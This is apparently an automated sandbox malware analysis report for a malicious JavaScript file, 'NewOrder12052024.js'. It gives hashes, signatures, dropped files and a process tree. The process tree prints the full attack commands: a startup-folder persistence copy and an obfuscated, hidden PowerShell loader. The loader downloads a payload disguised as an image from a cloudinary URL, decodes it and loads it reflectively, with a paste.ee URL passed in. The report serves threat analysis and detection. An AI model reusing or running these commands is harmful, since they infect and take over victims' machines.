Resubmissions

06-12-2024 08:49

241206-kq7ktsyrdz 10

06-12-2024 08:45

241206-knz3zavnap 10

Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    06-12-2024 08:45

General

  • Target

    NewOrder12052024.js

  • Size

    9KB

  • MD5

    efa7decdf2f70cf9e45046a9a040a64e

  • SHA1

    394ffdb90b4f53cf7147d141b43ab2e45c046b31

  • SHA256

    ab347c89d899e16d758c131d8e4510f081c928cca1e9dc1db8e957ed939091ab

  • SHA512

    655b57b69beba0b9dac4ea4466153970341763fff32571c6bc202848bf1cecd19d034c3aaca3b776bf91e9a1b572465619218211c7f71240ae867455f401c4bf

  • SSDEEP

    192:K/4mimlh1w/zm6mGTfibYb0/9mjmkBOJb4f:wjNrIqVoKr0aCOJb4f

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\NewOrder12052024.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\System32\cscript.exe
      "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\octaves.js
      2⤵
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:2864
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\octaves.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 10
          4⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\octaves.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2616
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $lyophilizers = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABwAG8AcwBzAGUAcwBzAGkAdgBlAG4AZQBzAHMAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJABwAHIAZQBvAGMAYwB1AHAAaQBlAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwBhAGQAYQB2AGUAcgBpAG4AZQBzACAAPQAgACQAcAByAGUAbwBjAGMAdQBwAGkAZQBzAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHAAbwBzAHMAZQBzAHMAaQB2AGUAbgBlAHMAcwApADsAJABuAHkAbQBwAGgAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGMAYQBkAGEAdgBlAHIAaQBuAGUAcwApADsAJABsAGUAeABpAGMAYQBsAGkAegBlAHMAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgB2AG8AeQBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAbABpAHAAZAByAGUAcwBzACAAPQAgACQAbgB5AG0AcABoAHMALgBJAG4AZABlAHgATwBmACgAJABsAGUAeABpAGMAYQBsAGkAegBlAHMAKQA7ACQAdABoAHIAdQBzAGgAZQBzACAAPQAgACQAbgB5AG0AcABoAHMALgBJAG4AZABlAHgATwBmACgAJABlAG4AdgBvAHkAcwApADsAJABzAGwAaQBwAGQAcgBlAHMAcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAHQAaAByAHUAcwBoAGUAcwAgAC0AZwB0ACAAJABzAGwAaQBwAGQAcgBlAHMAcwA7ACQAcwBsAGkAcABkAHIAZQBzAHMAIAArAD0AIAAkAGwAZQB4AGkAYwBhAGwAaQB6AGUAcwAuAEwAZQBuAGcAdABoADsAJABmAGUAcgBtAGkAbwBuAHMAIAA9ACAAJAB0AGgAcgB1AHMAaABlAHMAIAAtACAAJABzAGwAaQBwAGQAcgBlAHMAcwA7ACQAZAByAGUAYQBtAGkAZQByACAAPQAgACQAbgB5AG0AcABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwBsAGkAcABkAHIAZQBzAHMALAAgACQAZgBlAHIAbQBpAG8AbgBzACkAOwAkAG8AcgBnAGEAbgBpAHoAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABkAHIAZQBhAG0AaQBlAHIALgBUAG8AQwBoAGEAcgBBAHIAcgBhAHkAKAApACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8AIAB9ACkAWwAtADEALgAuAC0AKAAkAGQAcgBlAGEAbQBpAGUAcgAuAEwAZQBuAGcAdABoACkAXQA7ACQAcgBlAGIAYQB0AG8AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbwByAGcAYQBuAGkAegBlAGQAKQA7ACQAZQB0AHkAbQBvAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAcgBlAGIAYQB0AG8AKQA7ACQAZQBwAGkAZABvAHQAZQAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkAOwAkAGUAcABpAGQAbwB0AGUALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAQAAoACcAMAAvAFgAbwBSAGUAUAAvAHIALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoACcALAAgACcAawBhAGYAdABhAG4AJwAsACAAJwBrAGEAZgB0AGEAbgAnACwAIAAnAGsAYQBmAHQAYQBuACcALAAgACcATQBTAEIAdQBpAGwAZAAnACwAIAAnAGsAYQBmAHQAYQBuACcALAAgACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAawBhAGYAdABhAG4AJwAsACcAMQAnACwAJwBrAGEAZgB0AGEAbgAnACkAKQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AA==';$atones = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($lyophilizers));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $atones
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1980
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$possessiveness = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$preoccupies = New-Object System.Net.WebClient;$cadaverines = $preoccupies.DownloadData($possessiveness);$nymphs = [System.Text.Encoding]::UTF8.GetString($cadaverines);$lexicalizes = '<<BASE64_START>>';$envoys = '<<BASE64_END>>';$slipdress = $nymphs.IndexOf($lexicalizes);$thrushes = $nymphs.IndexOf($envoys);$slipdress -ge 0 -and $thrushes -gt $slipdress;$slipdress += $lexicalizes.Length;$fermions = $thrushes - $slipdress;$dreamier = $nymphs.Substring($slipdress, $fermions);$organized = -join ($dreamier.ToCharArray() | ForEach-Object { $_ })[-1..-($dreamier.Length)];$rebato = [System.Convert]::FromBase64String($organized);$etymon = [System.Reflection.Assembly]::Load($rebato);$epidote = [dnlib.IO.Home].GetMethod('VAI');$epidote.Invoke($null, @('0/XoReP/r/ee.etsap//:sptth', 'kaftan', 'kaftan', 'kaftan', 'MSBuild', 'kaftan', 'kaftan','kaftan','kaftan','kaftan','kaftan','kaftan','1','kaftan'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2348

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab4F0.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Tar570.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\octaves.js

    Filesize

    154KB

    MD5

    b18f8cdaa68d74bc39dde0852aac7719

    SHA1

    c747020dd4d40d3a793167a5e3f976696a906b41

    SHA256

    831f1bb5884bd0e81acd1e01b2d43654488d929e12992a195fb659c582bda2d1

    SHA512

    5d03cdf4ce423935fe076d4fc2f15541a38d3ce9cdcbe93deeb42aeeeab74128dc9e9f6b2eca2306a88d5778a2aae7e10f6497b7b1251c9ea12c9bd5def2b1bd

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    03539225c8e8841816ca3afbb957ba89

    SHA1

    0b75e971ee63f48706a074de52ae932356fcef3c

    SHA256

    6de5543197a61ae188b36660fe6d0822b365bd05807c9a0eebac0aaca7a353ca

    SHA512

    666d7b5817587b332bd081c407f710da6c5000ccb0fbd59f3e1d119ee35237ece8d112ac97fbfd0cd7503c214c316983697c39557d400a06f8ebe5b27b49a648

  • memory/1980-28-0x000000001B600000-0x000000001B8E2000-memory.dmp

    Filesize

    2.9MB

  • memory/1980-29-0x00000000021E0000-0x00000000021E8000-memory.dmp

    Filesize

    32KB

  • memory/2616-21-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2616-22-0x0000000002860000-0x0000000002868000-memory.dmp

    Filesize

    32KB